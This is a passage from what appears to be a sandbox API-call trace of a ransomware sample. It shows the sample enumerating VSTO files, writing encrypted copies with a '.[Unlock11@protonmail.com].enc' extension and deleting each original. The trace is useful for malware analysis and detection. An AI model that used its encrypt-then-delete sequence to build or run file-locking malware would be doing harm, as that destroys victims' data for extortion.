returned 1 [0199.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0199.450] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0199.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0199.451] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0199.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0199.451] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0199.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0199.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3733eb8 | out: hHeap=0x2ad0000) returned 1 [0199.452] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\ActionsPane3.xsd", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\ActionsPane3.xsd", lpFilePart=0x9bada4*="ActionsPane3.xsd") returned 0x4a [0199.452] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\ActionsPane3.xsd" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\actionspane3.xsd"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4a022e6b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x87)) returned 1 [0199.452] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367996c | out: pbBuffer=0x367996c) returned 1 [0199.453] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\ActionsPane3.xsd" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\actionspane3.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.453] GetFileType (hFile=0x334) returned 0x1 [0199.453] GetFileType (hFile=0x334) returned 0x1 [0199.453] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.453] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.453] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.454] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.454] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.454] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.454] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.454] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\ActionsPane3.xsd.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\actionspane3.xsd.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.454] GetFileType (hFile=0x39c) returned 0x1 [0199.455] GetFileType (hFile=0x39c) returned 0x1 [0199.455] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.455] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.455] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.455] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.455] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.455] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.455] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.457] CloseHandle (hObject=0x39c) returned 1 [0199.457] CloseHandle (hObject=0x334) returned 1 [0199.457] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\ActionsPane3.xsd" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\actionspane3.xsd")) returned 1 [0199.458] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll", lpFilePart=0x9bada4*="vstoee.dll") returned 0x44 [0199.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0199.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0199.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0199.459] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb", lpFilePart=0x9bada4*="vstoee100.tlb") returned 0x47 [0199.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.459] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb", lpFilePart=0x9bada4*="vstoee90.tlb") returned 0x46 [0199.460] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0199.461] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.461] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="1033", cAlternateFileName="")) returned 1 [0199.461] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x142e8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0199.461] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x42470, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0199.462] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xc2e8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0199.462] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xc2e8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0199.462] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0199.463] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\1033")) returned 0x10 [0199.463] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0199.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0199.464] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0199.464] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0199.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0199.464] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0199.465] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0199.465] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0199.465] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c18 | out: hHeap=0x2ad0000) returned 1 [0199.465] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe", lpFilePart=0x9bada4*="VSTOInstaller.exe") returned 0x50 [0199.465] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0199.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.466] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x142e8)) returned 1 [0199.466] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36715d4 | out: pbBuffer=0x36715d4) returned 1 [0199.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0199.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0199.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0199.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3733e18 [0199.467] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.467] GetFileType (hFile=0x334) returned 0x1 [0199.467] GetFileType (hFile=0x334) returned 0x1 [0199.467] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.467] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.467] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.468] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.468] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.468] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.468] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.468] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.468] GetFileType (hFile=0x39c) returned 0x1 [0199.469] GetFileType (hFile=0x39c) returned 0x1 [0199.469] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.469] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.469] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.469] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.469] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.469] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.469] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.473] CloseHandle (hObject=0x39c) returned 1 [0199.474] CloseHandle (hObject=0x334) returned 1 [0199.474] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0199.475] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll", lpFilePart=0x9bada4*="VSTOLoader.dll") returned 0x4d [0199.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.476] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll", lpFilePart=0x9bada4*="VSTOMessageProvider.dll") returned 0x56 [0199.476] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0199.476] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.476] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0199.477] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0199.477] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0199.477] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0199.477] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0199.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0199.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0199.477] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0199.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0199.478] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", lpFilePart=0x9bada4*="VSTOInstallerUI.dll") returned 0x57 [0199.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0199.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0199.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0199.478] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll", lpFilePart=0x9bada4*="VSTOLoaderUI.dll") returned 0x54 [0199.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.479] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0199.479] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.479] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0199.479] 